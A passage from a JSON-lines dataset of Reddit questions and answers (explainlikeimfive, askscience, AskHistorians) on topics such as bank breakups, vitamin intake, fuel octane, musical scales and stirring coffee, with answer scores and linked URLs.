["http://i.imgur.com/0txNTxi.jpg"]]}
{"q_id": "35ifwf", "title": "what does bernie sanders' \"too big to fail\" bill mean when it says it is going to 'break up' big banks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35ifwf/eli5_what_does_bernie_sanders_too_big_to_fail/", "answers": {"a_id": ["cr4pjzr", "cr4qcso"], "score": [31, 10], "text": ["A lot of the biggest banks in the US (i.e. JP Morgan / Citigroup are probably the classic cases) are financial conglomerates that house many different kinds of businesses that touch many different (and arguably unrelated) areas of finance. They might have a division that does personal banking (bank accounts for people + credit cards), a division that does commercial/corporate banking (lending to businesses and corporations), and a division that does investment banking (trading and advisory work).\n\nThe idea of \"too big to fail\" is that these conglomerates touch so much of the economy, that if one division has a problem that might make the bank go insolvent (i.e. huge trading losses), the government basically *has* to bail them out, since the repercussions of failure are so big. \n\nWhat Sanders and others who want to \"break up\" these big banks want to do is basically split them into smaller entities that don't touch so many sectors of finance at once. The most commonly talked about split is to separate the investment bank (trading and advisory) from the personal banking and commercial/corporate banking divisions.\n", "During the financial crisis of the late 2000's, there was a debate whether to issue gov't bailouts to troubled financial institutes who engaged in dodgy business practices and now were in trouble.  One of the arguments for was they were \"too big to fail\", meaning no matter the reason why they got into trouble, the economic disruption caused by their failure would hurt the economy too much.  Many people saw this as not only rewarding bad behavior, but encouraging future bad behavior by sending the message that no matter how much you screw up, the gov't will save you.\n\nSanders and other progressive have said that if a business is too big to fail, then it is too big, period, and represents an ongoing risk to the economy.  They advocate splitting up such businesses to eliminate this risk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qbpp1", "title": "When we are recommended to ingest 100% DV of a vitamin, is that the most our body will utilize and the rest comes out in urine or is it the minimum value our bodies need to be healthy?", "selftext": "After being sick the past few days and drinking multiple packs of emergen-c I ended up having this discussion with my mom", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qbpp1/when_we_are_recommended_to_ingest_100_dv_of_a/", "answers": {"a_id": ["c3wb8oc", "c3wbg3v", "c3wbv8y", "c3wbws5", "c3wh99d"], "score": [2, 3, 2, 6, 2], "text": ["[wasted your money on the emergen-c](_URL_1_)\n\n\nSome vitamins are water soluble and you can pee them out, some are fat soluble and stay in your body, either way you can take to much and reach toxic levels. \n\n_URL_0_\n\n", "**Minimum** adult daily requirement.", "It depends on the vitamin.\n\nSome vitamins are fairly dose-specific and you really shouldn't consume more than a couple times the DV per day over an extended period.\n\nOthers can be taken to excess without any ill effect.\n\nGetting at least 100% per day is the goal, but only some vitamins should be supplemented intentionally beyond that point.\n\nAccording to my sources, here are:\n\nVitamins you can/should take extra of:\n-Vitamin D\n-Vitamin K2\n-Vitamin C\n-Selenium\n-Iodine (doesn't really exist in pill form though)\n-Magnesium\n-Copper\n-Chromium\n\n\nVitamins you shouldn't take supplements of (provided your diet is healthy):\n-B Vitamins\n-Vitamin A\n-Calcium\n-Zinc\n-Niacin\n-Vitamin E\n-Folic Acid\n\nThe above vitamins are ones that haven't been shown to have a positive impact on health or can have negative impacts.  \n\nI know this is a nowhere near complete list, and I didn't explain the reasons why due to time.  If anyone is curious just ask about a specific one and I will write down the reasoning/studies that I'm basing this off of.", "It's more of a minimum level. The original RDA values on nutrients were set based on preventing malnutrition. In principle, the daily values are set high enough to meet the needs of 95%+ of the population:\n\n_URL_0_\n\nIt's reasonable to assume that if you eat a balanced diet, you won't need to use supplements to get the recommended amounts of nutrients. If you subsist entirely on chicken nuggets and french fries however, you might in fact be deficient in several vitamins.\n\nVitamin C specifically is a water-soluble, very low toxicity vitamin, so yes - you do end up peeing it all out, but you probably won't take enough to harm yourself in any way.", "If you eat an entire polar bear liver you would die from Hypervitaminosis A.  \n\nVitamin C and all the B vitamins are water soluble and only niacin is thought to reach toxic levels (but you need A LOT!!!).  Vitamins A, D, E, K are fat-soluble, so they are absorbed best with a meal containing mild-moderate fat content.  ADEK are slower to excrete via the liver and into the feces.  Consistently high ingestion of these can lead to toxic secondary problems.\n\nVitamin supplements typically give you too high a dose and claim bullshit about helping your immune system.  If you were to take only 1 supplement, I would recommend Calcium (without Vit D, most people get enough in their normal diet).  It has numerous vital functions and is extremely important for continual bone support throughout life.  People forget bones are dynamic and change over time and weaken as we age.  \n\nYou can trust me, I'm a Veterinarian.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Vitamin_poisoning", "http://motherboard.vice.com/2011/11/1/skeptic-hat-sorry-to-burst-your-fizzy-vitamin-c-bubbles-but-you-re-getting-ripped-off--2"], [], [], ["http://en.wikipedia.org/wiki/Dietary_Reference_Intake"], []]}
{"q_id": "2a04fd", "title": "why do we lose socks when doing laundry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a04fd/eli5_why_do_we_lose_socks_when_doing_laundry/", "answers": {"a_id": ["ciqa3o7"], "score": [2], "text": ["It's also possible that some of them fall behind the drum of the washing machine and/or dryer.  \n\nYou should get one of those mesh lingerie bags and put your socks into them immediately after taking them off each day, and at the end of the week, toss it in the wash.  When I was in school where I wore a school uniform (socks included), I was meticulous about doing this because you got detention if your uniform wasn't all on point.  I've gotten lazy over the years but might go back to this method of sock-tracking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "34hsu4", "title": "what do amc gold tickets do", "selftext": "I ask because not even the AMC website gives a clear explanation on what it does (if it does, I don't see it)\n\nDoes it let get in any movie for free? Free food/drinks?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34hsu4/eli5_what_do_amc_gold_tickets_do/", "answers": {"a_id": ["cqut1u0"], "score": [2], "text": ["Before AMC  had Gold and Silver tickets, silver was a pre-paid gift card for any movie that had been in the theaters for a while. You could use a silver ticket and pay an upgrade fee to see a new release.\n\nGold let you see any movie, new or older movies. I think now they've eliminated the silver tickets, so gold is just a pre-paid movie ticket. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bhcgp4", "title": "how is higher octane fuel less likely to cause a misfire than low octane fuel", "selftext": "I would've thought it was the other way around.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhcgp4/eli5_how_is_higher_octane_fuel_less_likely_to/", "answers": {"a_id": ["elrpm4n", "elrpo4m", "elrqbvh"], "score": [6, 4, 3], "text": ["The octane number describes how difficult it is to get the fuel to combust. The higher the octane, the more heat/ pressure is needed for it to combust. \n\nHigh performance engines are often designed to use higher compression ratios because that way you get more power out of the same amount of fuel. So then to prevent pre ignition from the high pressure u use higher octane fuel.", "Higher octane prevents auto ignition in higher compression engines. It can withstand higher pressure than lower octane fuel. Low octane fuel will detonate with the heat and compression before the spark plug tries to ignite the fuel causing a misfire.", "Misfire in a engine is more known as knocking  is the because the fuel burn to fast/to early so a fuel that is less sensitive to ignition from compression is better.\n\nSo the problem is not that fuel do not ignite but that is ignite to early. So a high octane fuel that can sustain more compression is better.\n\nThat said a engine will not preform better if you have a fuel with higher octane rating. As long as it is high enough so there is no knocking any higher. That is because higher octane make it possible to have higher compression ratio but that is fixed in all normal engines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1vqvtd", "title": "Why did many of the discoveries in astronomy take place in Europe rather than in the Middle East?", "selftext": "As an extension to the question, what factors lead to the Middle East falling behind in science and mathematics after so many mathematical discoveries were made in that region, such as the invention/discovery of algebra?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vqvtd/why_did_many_of_the_discoveries_in_astronomy_take/", "answers": {"a_id": ["cev3iic"], "score": [2], "text": ["Why just the Middle East? You have to remember that Islamic \"civilisation\" includes the Turkumens as wellas the Persians and the Arabs and it actually stretched along the Silk Road towards India (source of a lot of maths) and Central Asia, which had the Astronomer, Mathematician and Sultan [Ulugh Bek](_URL_1_). He built an [observatory in the 1420s](_URL_2_) in Samarkand. At the other end, in Istanbul, you had the observatory of [Taqi al-Din](_URL_3_). In both cases religion seems to have been an issue or at least an excuse for their destruction within about a century of each other.\n\nBtw, it was a visit to a dusty little hill-side just outside Samarkand (his observatory) that got me interested in Ulugh Bek. The works of Timur are much more obvious, but Ulegh seemed more interesting with his emphasis on knowledge rather than conquest.\n\nIn the 1st Century, there was the famous Greco-Roman [Ptolemy](_URL_0_) but he was in Alexandria, so could be claimed also by the Middle-East but this is pre-Islam times. We had people like Copernicus and Brae in Europe, but the work done in the observatories of Ulugh Bek and Taqi al-Din was arguably more comprehensive. In the early 17th century, Europe discovered the telescope. Until this point, I would say that the Islamic world really had the advantage, probably in connection to [calculations needed such as the location of Mecca, the time and the start of Ramadan](_URL_4_).\n\nAfter the 17th Century the Islamic world really didn't catch up as the emphasis went away from astronomy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ptolemy", "http://en.wikipedia.org/wiki/Ulug_Bek", "http://en.wikipedia.org/wiki/Ulugh_Beg_Observatory", "http://en.wikipedia.org/wiki/Istanbul_observatory_of_Taqi_al-Din", "http://www.saudiaramcoworld.com/issue/198601/arabs.and.astronomy.htm"]]}
{"q_id": "1bid0s", "title": "How much water has been transported to the ISS so far?", "selftext": "So i read an article about NASA planning to capture ~500 ton asteroid which could contain ~100 ton of water and I wanted to put this number into perspective", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bid0s/how_much_water_has_been_transported_to_the_iss_so/", "answers": {"a_id": ["c973j21", "c974648"], "score": [14, 3], "text": ["I don't have exact figures, but of the ~6,000 pounds of cargo brought to the ISS in April 2011 by Progress 41, about 15%, 926 pounds was water.\n\n[41st Russian Cargo Ship](_URL_1_)\n\nEdit: I also note that each of the scheduled Progress launches to the ISS in 2013, Progress 51-53, list \"water\" as part of the cargo. Sadly, no details on weight. [NASA's Consolidated Launch Schedule](_URL_0_)", "Does anyone know if this is transported in liquid form or as ice?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nasa.gov/missions/highlights/schedule.html", "http://www.nasa.gov/mission_pages/station/expeditions/expedition26/resupply_feature.html"], []]}
{"q_id": "44i7n8", "title": "why does our manned spacecrafts (including space shuttle) require roll program?", "selftext": "Why does our manned spacecrafts (including space shuttle) require roll program? What is it and what is Max Q I keep on hearing with it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44i7n8/eli5_why_does_our_manned_spacecrafts_including/", "answers": {"a_id": ["czqcyof"], "score": [5], "text": ["If you launch a rocket straight up - it'll come straight down again. Orbit isn't a matter of height, it's a matter of speed round and round the Earth. To get there, you need to stop going up and start going sideways.\n\nMax Q is the point in the sequence at which, in simple terms, the air resistance on the rocket is a maximum. Early on, it's going slowly, so there's not much resistance. Late on, it's going ever so fast, but the air is very thin because it's high up. Somewhere in the middle the speed going up meets the air pressure coming down and there's a moment at which the resistance is highest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1hb573", "title": "How accurate are asteroid path projections and how many years into the future can we accurately predict their movement?", "selftext": "I hear things like \"an asteroid will come close to hitting Earth in 20 years\"....so come close, does that mean it could hit us because there's room for error in our predictions?  And 20 years, how reliable is that time frame?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hb573/how_accurate_are_asteroid_path_projections_and/", "answers": {"a_id": ["caso41b"], "score": [10], "text": ["It differs from asteroid to asteroid. The way we plot an asteroid's path is by taking several images of it over a length of time and seeing how it moves during the time between images, [as seen here](_URL_0_). \n\nWe measure its arc and extrapolate it outward to see its entire path through the solar system. How accurate this is depends on how many images we can get of the asteroid and how nearby or visible it is. Our predictions can also be thrown off if the asteroid will pass near a massive body as the exact way its orbit will be altered can be hard to predict.\n\nAs far as time frame, when the asteroid arrives should be fairly certain, as the asteroid will continue at a constant speed and trajectory until something interacts with it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://media.kgw.com/images/342*264/Asteroid+2012+DA14+by+Steve+Lantz-1.jpg"]]}
{"q_id": "1bdean", "title": "Has Curiosity taken any pictures of the sky on Mars, during \"night\"? I really wish to see into the galaxy from a pollute free planet, or are there other issues?", "selftext": "I just want to know what the sky there looks like. I've traveled to places without light pollution and it didn't live up to the expectations I see on photos, but I wonder how it'd look from there. \n\nI was unable to find any myself. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bdean/has_curiosity_taken_any_pictures_of_the_sky_on/", "answers": {"a_id": ["c95w1io", "c95xhcp", "c95xmkm", "c9617iu", "c962csc", "c965gwh"], "score": [12, 5, 4, 9, 7, 3], "text": ["Its not exactly what you want but here is a stunning picture of a Martian Sunset: _URL_0_", "Mars' atmosphere is quite dusty, so I don't think we could see very impressive star skies.", "You didn't see the same effect as photos because photos of the night sky usually have exposure times of over several seconds.  \n  \nThe view on mars would be similar to a dusty night in the desert. ", "This was all I could find. _URL_0_", "If you just want to see without pollution blurring things up, the [Hubble](_URL_0_) already does a pretty fair job of it.", "there's some good stuff in here \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nasa.gov/multimedia/imagegallery/image_feature_347.html"], [], [], ["http://imgur.com/K3xot"], ["http://www.nasa.gov/mission_pages/hubble/main/index.html"], ["http://marswatch.astro.cornell.edu/pancam_instrument/projects_2.html"]]}
{"q_id": "4bad34", "title": "When did humans first eat grasses, ie. Wheat?", "selftext": "We're omnivores, and by grasses I mean the grains that they produce in any form (wheat, barley. Etc) I imagine there were wild fields of wheat that we settled near and cultivated. Is this era tied with the beginning of agricultural settlements, or did that come much later, tied with the cultivation of seed crops like we practice today?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4bad34/when_did_humans_first_eat_grasses_ie_wheat/", "answers": {"a_id": ["d17e5ra"], "score": [13], "text": ["While you might find some answers here, I recommend your cross post to /r/AskAnthropology as well!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3nmr1c", "title": "Can you please explain what is happening here?", "selftext": "Why does its swirl like that and how long will it do it? I have no idea what's happening here.\n\n_URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nmr1c/can_you_please_explain_what_is_happening_here/", "answers": {"a_id": ["cvpkubq", "cvpmfu9"], "score": [78, 314], "text": ["My explanation from the original post:\n\nThe vodka and moscato mix together does nothing. However, they've included the same food additive that they put in gummy bears and jelly beans to make them shiny. The stuff settles on the bottom, but when you shake it up, it swirls around as shown. The gif is a little misleading, as it doesn't constantly swirl like that.", "It is called [Rheoscopic fluid](_URL_2_).  They have found some sort of microscopic particle that is both rheoscopic and edible and thrown a handful of that in.  \n\n[Here's another video of rheoscopic fluid in action.](_URL_0_)\n\nEdit: It is probably fine particles of [glycerol stearate](_URL_1_)."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/DGYLNu6.gifv"], "answers_urls": [[], ["https://www.youtube.com/watch?v=i6hsc70Fl34", "https://en.wikipedia.org/wiki/Glycol_stearate", "https://en.wikipedia.org/wiki/Rheoscopic_fluid"]]}
{"q_id": "5oa6cg", "title": "how can apps like discord and skype afford to provide their services for free?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oa6cg/eli5_how_can_apps_like_discord_and_skype_afford/", "answers": {"a_id": ["dchrqi9"], "score": [16], "text": ["_URL_1_\n\n >  Skype is based on a freemium model. Much of the service is free, but Skype Credit or a subscription is required to call a landline or a mobile phone number.\n\n_URL_0_\n\n >  While the software itself comes at no cost, the developers are investigating ways to monetize it, with possible options including paid customization options such as emoji or stickers.[3] On December 23rd, 2016, Discord posted on their blog that they are eventually adding a way for people to support them using Discord Nitro.[8] This is told to have Custom Emotes usable on every server, GIF Avatars, and more.[9] Currently, Discord Nitro is only available to Australian users for testing.\n\n(TL;DR Discord isn't making any money yet)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Discord_(software)", "https://en.wikipedia.org/wiki/Skype"]]}
{"q_id": "4ysmzm", "title": "what's the reasoning behind banning 'burkini's?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ysmzm/eli5_whats_the_reasoning_behind_banning_burkinis/", "answers": {"a_id": ["d6q5pq5"], "score": [2], "text": [" > What's the reasoning behind banning 'burkini's?\n\nThey're banned because [it's against the law to conceal one's face in public in France](_URL_0_), except for specific situations where it's required for safety (such as motorcycle helmets)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/French_ban_on_face_covering"]]}
{"q_id": "4oo5gb", "title": "why do ants refused to cross ink or chalk lines, at the cost of their own life?", "selftext": "[Video of ant trapped in drawn circle.] (_URL_1_)\n\n[Killer Chalk] (_URL_0_)\n\nWhy you do this ants? Why you do this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4oo5gb/eli5_why_do_ants_refused_to_cross_ink_or_chalk/", "answers": {"a_id": ["d4e73ri", "d4e78b8"], "score": [9, 5], "text": ["Bevause it masks the scent created by the ants in front of them, so they're unable to get back to where they were in their line (so to speak).\n\nIf an ant can't find the pheromones of others from its nest, it will die from either another predator, a rival nest or from another means like starvation, dehydration or maybe exposure to the elements ", "Ants have fairly poor vision. They follow **scent trails** left by other ants, and otherwise explore the world by scent and touch. Ink or chaulk disrupts a scent trail or may appear to be an obstacle in their way which they are trying to navigate around. They lack the ability to *think about* how to go around (or over) and only follow fairly basic behaviours."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=JwucVMoXy7Q", "https://www.youtube.com/watch?v=W_sSx54aIYI"], "answers_urls": [[], []]}
{"q_id": "54f3tq", "title": "Has there ever been another time in U.S. politics where a husband and wife both either held the same political office or ran for the same office that one of them already held?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/54f3tq/has_there_ever_been_another_time_in_us_politics/", "answers": {"a_id": ["d81nid6"], "score": [9], "text": ["Lurleen Wallace became Governor of the State of Alabama in 1967, directly after her husband George Wallace left the office. It was widely considered as an attempt by him to get around state laws regarding term limits. Unfortunately, she died from cancer several months after taking office. \nSource: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.archives.state.al.us/govs_list/g_walllu.html"]]}
{"q_id": "4hbfx2", "title": "why does western music use the 12-note scale but middle eastern music uses the 24-note scale?", "selftext": "Follow-up: why is Middle Eastern music seemingly the only major musical tradition that uses the 24-note scale? Even the Russian/East Asian regions primarily use the 12-note scale (though traditional Chinese music is almost wholly based on the pentatonic) despite being half a world away from the \"Western\" musical tradition.\n\nwhat's the deal?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hbfx2/eli5_why_does_western_music_use_the_12note_scale/", "answers": {"a_id": ["d2ou2cr", "d2ou2ws", "d2oucha", "d2pc4gw"], "score": [40, 14, 2, 5], "text": ["A polymath dude name [Al-Farabi](_URL_1_) wrote a really influential book on music, and he wrote his stuff in a 25-tone unequal temperament scale, likely just as a result of it being the way things were commonly done in his time and place. Eventually, another guy named [Mikhail Mishaqa](_URL_2_) started using the 24 equal quarter tone scale and it caught on from there.\n\nMeanwhile, in the Western world, the ancient Greeks talked about different kinds of scales as part of their work on early acoustics. A lot of different instruments came and went, and with them a number of different scales, and the 12 tone even-tempered scale is just the one that eventually won the popularity contest by being favored by a number of popular composers and musicians over time. It fit the modern keyboard design very well, and it made it easy to [modulate](_URL_0_) -to change from one key to another- which had become (and remains!) a very popular musical device.\n\nSo, as with most things, popular people did it, and so it's popular.", "The Arab tone system uses an octave divided in to 24 notes, that much is true, but from that they only use a scale of 7 notes at a time, and that scale never includes adjacent notes separated by a quarter tone. So the scales are not totally alien and can be viewed as versions of Western scales with specific quarter-tone notes. They don't do 24-tone chromaticism, nothing comparable to Western 12-tone chromaticism or serialism. \n\nAs for \"why\" - as with Western music, there was a vernacular tradition that developed over centuries, and then theorists such as Mishaqa formalised it mathematically in to a system. ", "Our best understanding of music theory is that there's part of what makes music enjoyable and pleasant to listen to that's innate and universal, and a part of it that's learned / cultural. Experts disagree on some of the details, but very broadly, here are some things we know.\n\nAn appreciation for rhythm is innate. Rhythms are based on patterns, and the brain seems to love and find comfort in patterns. However, we also get bored easily with things that are too simple and too repetitive, but syncopation helps with that - when some of the notes in a rhythm are \"on\" the beat, and others are \"off\" the beat, in unexpected places. It tickles the brain to hear those unexpected beats.\n\nThe exact time signatures and rhythmic patterns vary a lot in different cultures and different genres of music, but the underlying idea is the same.\n\nHarmony works in a similar way. Our brain finds certain intervals between notes to be pleasing, and in general these are very simple frequency ratios - like a 3:2 frequency ratio is what we call a 5th (like G down to C) and a 5:4 frequency ratio is what we call a major 3rd (like an E down to C). These intervals, and a few others, are found in ALL cultures that have ever developed music.\n\nA lot of early music was made out of just a few notes with nice ratios like this that harmonize well. But over time people came up with more creative ways to combine those notes, and they added other notes in-between.\n\nWhen you start doing that, you discover that kind of by chance, if you divide each octave into equal frequency ratios, then dividing an octave into exactly 12 pieces gives you good approximations of nearly all of those ratios that are innately pleasing. So 12 is kind of arbitrary, but not entirely because if we picked 11 or 13, we wouldn't get as many of those ratios that are so universal.\n\nDividing the octave into 24 pieces makes sense because you get all of those same ratios plus twice as many more. Middle-eastern music makes use of those extra notes as a way of adding complexity to their music, while Western music adds complexity in other ways using just 12 notes (using more complicated chords, modulating pieces with key changes, etc.). But even though Middle-eastern music is quite different and has many more notes, the notes used *the most often* overlap a lot with the most commonly used notes in the Western scale.\n", "The more interesting fact is, not why 12 is different from 24, but why one system is only double the other. Why one doesn't use 19 or 27. That is because both are music, and music is a type of maths.\n\nLet us think of music as made by hitting identical pipes of different lengths. You could instead blow air across the ends of the pipe, (or, if you want to get technical, replace the word 'pipe' with 'wavelength', or replace the word 'halve' with 'double' and 'pipe' with 'frequency'). If you get one pipe and hit it, it will make a note. If you cut it in half and hit it, the note will sound pretty much the same. So much that, you might not be able to tell if you hit both of them, or if you only have struck the long one. So notes that are double or half will be pretty much the same, so we can halve, or double the length of our pipe and get 'the same note'.\n\nIf, instead of cutting our pipe in half, we cut by two-thirds, we get a note that is different, but sounds good when struck alongside a pipe like the original one. This is harmony. We know know any such two notes as 'fifths', for other reasons. If we keep doing this, taking notes from pipes that are \u2154 the length of the one before it, (oh, and doubling where necessary (remember when I talked about doubling gets you 'the same note'?) so the notes don't get too high), you get a sequence of notes that seem to be a family.\n\nThe first 5 divisions by \u2154 give us the pentatonic scale - those are the scale used in the introduction to the pop song 'My Girl' by the Temptations. When you do it 7 times, you get Western music's Octave. 12 times and you get the 12 note scale. But the 13th division by \u2154 will get you very, very close to the first note. So very close that you can't use both notes in the same piece of music, because they clash awfully, like one of your instruments is slightly out of tune. This is the 'pythagorean comma', and it is why the scale stops at 12. (Discussion of 'equal temperament' omitted. Google it.)\n\nWith a 24 note scale, they just put another note between each of the 12 notes we have made. This creates a second scale you can change into half way through, or some other notes that can be used to create discord, a break in harmony, for effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=-UkmQB63R-4&amp;t=21", "https://en.wikipedia.org/wiki/Al-Farabi#Music", "https://en.wikipedia.org/wiki/Mikhail_Mishaqa"], [], [], []]}
{"q_id": "glxr3", "title": "Would pre-airplane humans have experienced ear popping (that wasn't due to clogged sinuses)?", "selftext": "I was trying to imagine how humans (that lived before rapid transit) would have experienced the unusual ear popping sensation we get when in an pressurized airplane cabin, or when we drive down a steep hill really quickly. It seems like rapid changes are the only way to make ears do this..so unless someone fell off a tall cliff, I can't imagine they felt the same sensation except when it was caused by clogged sinuses. Good thing those eustachian tubes keep us balanced in our varying pressure world...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/glxr3/would_preairplane_humans_have_experienced_ear/", "answers": {"a_id": ["c1oigi8", "c1oihbl", "c1oiq06", "c1oja0e"], "score": [4, 3, 2, 2], "text": ["Yes it occurs while swimming in deep water.", "It's possible to have one's ears pop when you change elevation significantly when hiking (descending a mountain, etc.).", "They had hot air balloons.", "I've had my ears pop in elevators, after descending about 20 floors.\n\nI would imaging a sailor descending the rigging of a tall ship, or a miner climbing a ladder would experience a similar pressure change.\n\nBut it certainly wouldn't be an every day occurrence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "73doec", "title": "Did the sun literally never set on the British empire?", "selftext": "I don't doubt the vastness of the British empire but I doubt the saying the sun never sets on the British empire was ever  literally true. At point in history did the sun literally never set on the British empire?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/73doec/did_the_sun_literally_never_set_on_the_british/", "answers": {"a_id": ["dnpqb3c", "dnprr6e"], "score": [36, 18], "text": ["While it was not true for the British Empire throughout its life, it certainly was true that the sun never set on the Empire at its height of its geographical extent in the 1920s.\n\nIf we run through the 24 time zones, we can see that each one was home to a British territory or mandate of some sort after the division of territories that ended World War I, and hence that while the sun was setting in one time zone, it was still daylight in the adjacent zone. \n\nGMT - Great Britain\n\n+1 - South West Africa (Namibia)\n\n+2 - South Africa\n\n+3 - Aden\n\n+4 - Muscat  &  Oman\n\n+5 - India\n\n+6 - Burma\n\n+7 - Singapore\n\n+8 - Sarawak\n\n+9 - Australia\n\n+10 - Papua (New Guinea)\n\n+11 - New Zealand\n\n+12 - Baker Island\n\n-11 - Niue\n\n-10 - Gilbert  &  Ellice Islands\n\n-9 - Canada\n\n-8 - Pitcairn Island\n\n-7 - Canada\n\n-6 - British Honduras\n\n-5 - Bahamas\n\n-4 - Falkland Islands\n\n-3 - British Guinea\n\n-2 - South Georgia\n\n-1 - Tristan da Cunha", "Simply put, the answer is yes. Modern day Great Britain possesses territory dotted around the world, with one small island chain in the South Pacific called the Pitcairn islands, which joined the British empire in 1838 as a colony, acting as the only point of the British empire which sees sunlight from midnight GMT to 0100 GMT.  \n\nIf you want to know the last time that the sun set on the lands ruled by the English Crown, it goes back pretty far.  The Americas were colonized by England from 1607 onwards with Jamestown and various colonies in the Caribbean.  This quarter of the world continues to have a British presence through the British Virgin Islands and the Falkland Islands.  \n\nIn 1639, Great Britain created a colony in Madras, off the coast of India.  This area continues to have a British presence through several small island states, such as the British Indian Ocean Territory.  At this point, it was only a lack of a colony in the Pacific that allowed the sun to set on the British Empire.  \n\nThis changed on 26 Janurary 1788 when a penal colony was established in Australia.  As all the above colonies were less than 8 timezones apart, it could now be definitively stated that the sun never set on the Empire.  Since the Pitcairn Islands are still part of the Great Britain's territories, this location in the world is covered.\n\nWhile the original colonies in these necessary regions have generally been granted independence, nearby islands continue to cover their position to make the statement accurate, and have allowed it to be accurate for the past 229 years.  \n\nXKCD has an interesting bit on the modern day aspects of this saying, _URL_0_  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://what-if.xkcd.com/48/"]]}
{"q_id": "6cjneq", "title": "how do drawing tablets work? and how do they detect the pen vhile it's not touching the surface?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cjneq/eli5_how_do_drawing_tablets_work_and_how_do_they/", "answers": {"a_id": ["dhvry1q"], "score": [2], "text": ["Well the tablets have pressure sensors in the actually tablet and or pen that can tell how hard and where the pen is touch as for how tablets can tell where the pen is while it's not touching well there's various ways to accomplish that. The most common I believe is electromagnetic induction which allows the tablet to detect the pen when it's inside it's magnetic field thus generating power and a signal from the pen which is also why the pens don't need batteries in that case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "s49ll", "title": "Is it more effective to stir my coffee in a circular motion (making the little whirlpool) or just use chaotic motion?", "selftext": "And I'm specifically referring to getting the sugar and cream evenly distributed throughout my coffee.\n\nEDIT: When I first thought of the question, I had in mind a standard 12 ounce cup from Starbucks and the little wooden stirring stick. It didn't occur to me at the time that it would be completely different when stirring with a spoon, I should have specified.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s49ll/is_it_more_effective_to_stir_my_coffee_in_a/", "answers": {"a_id": ["c4aypf9", "c4b0g4g", "c4b0ml0", "c4b1hpj", "c4b2jn5"], "score": [32, 3, 2, 9, 3], "text": ["Japanese scientists showed that lateral motions are more efficient than circular swirling.\n\n_URL_0_", "You can't answer this without knowing the stirring device and the shape of the cup.\n\nAlso, it is important to know, are you adding the coffee first, or is the sugar/cream in the cup first?\n\nCertain agitators work well with baffles on the side (coffee cup does not have them) and certain are terrible at getting things off the bottom of the cup.  Not sure about a spoon!\n\n", "I use a figure-eight pattern when stirring, because it feels like it's doing more to churn the liquid than simply stirring in a circle. Is there any evidence to suggest this might be the case?", "In general, the more turbulent flow you produce inside the liquid, the better mixing you will get.  You want to avoid the \"whirlpool cone\" shape while stirring as that will get you more toward a laminar flow regime.\n\nI can't get into the details of the local Reynolds number around a spoon or stick, but traditionally, if you need to dissolve or completely suspend solids in a liquid, the more turbulence the better.", "A quick google search landed me [these](_URL_1_) two [things](_URL_0_).  They look like powerpoints for an engineering lecture.\n\nI'm no engineer but what I gathered was that by using a \"silver mixer\"  which is sort of designed like the teacup ride at an amusement park (slide 21 of the first powerpoint), and also by rotating the walls of the vessel, you achieve the best mixing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://lifehacker.com/168567/video-demonstration-stir-cocoa-so-it-dissolves-well"], [], [], [], ["http://www.math.wisc.edu/~jeanluc/talks/ictam2008_talk.pdf", 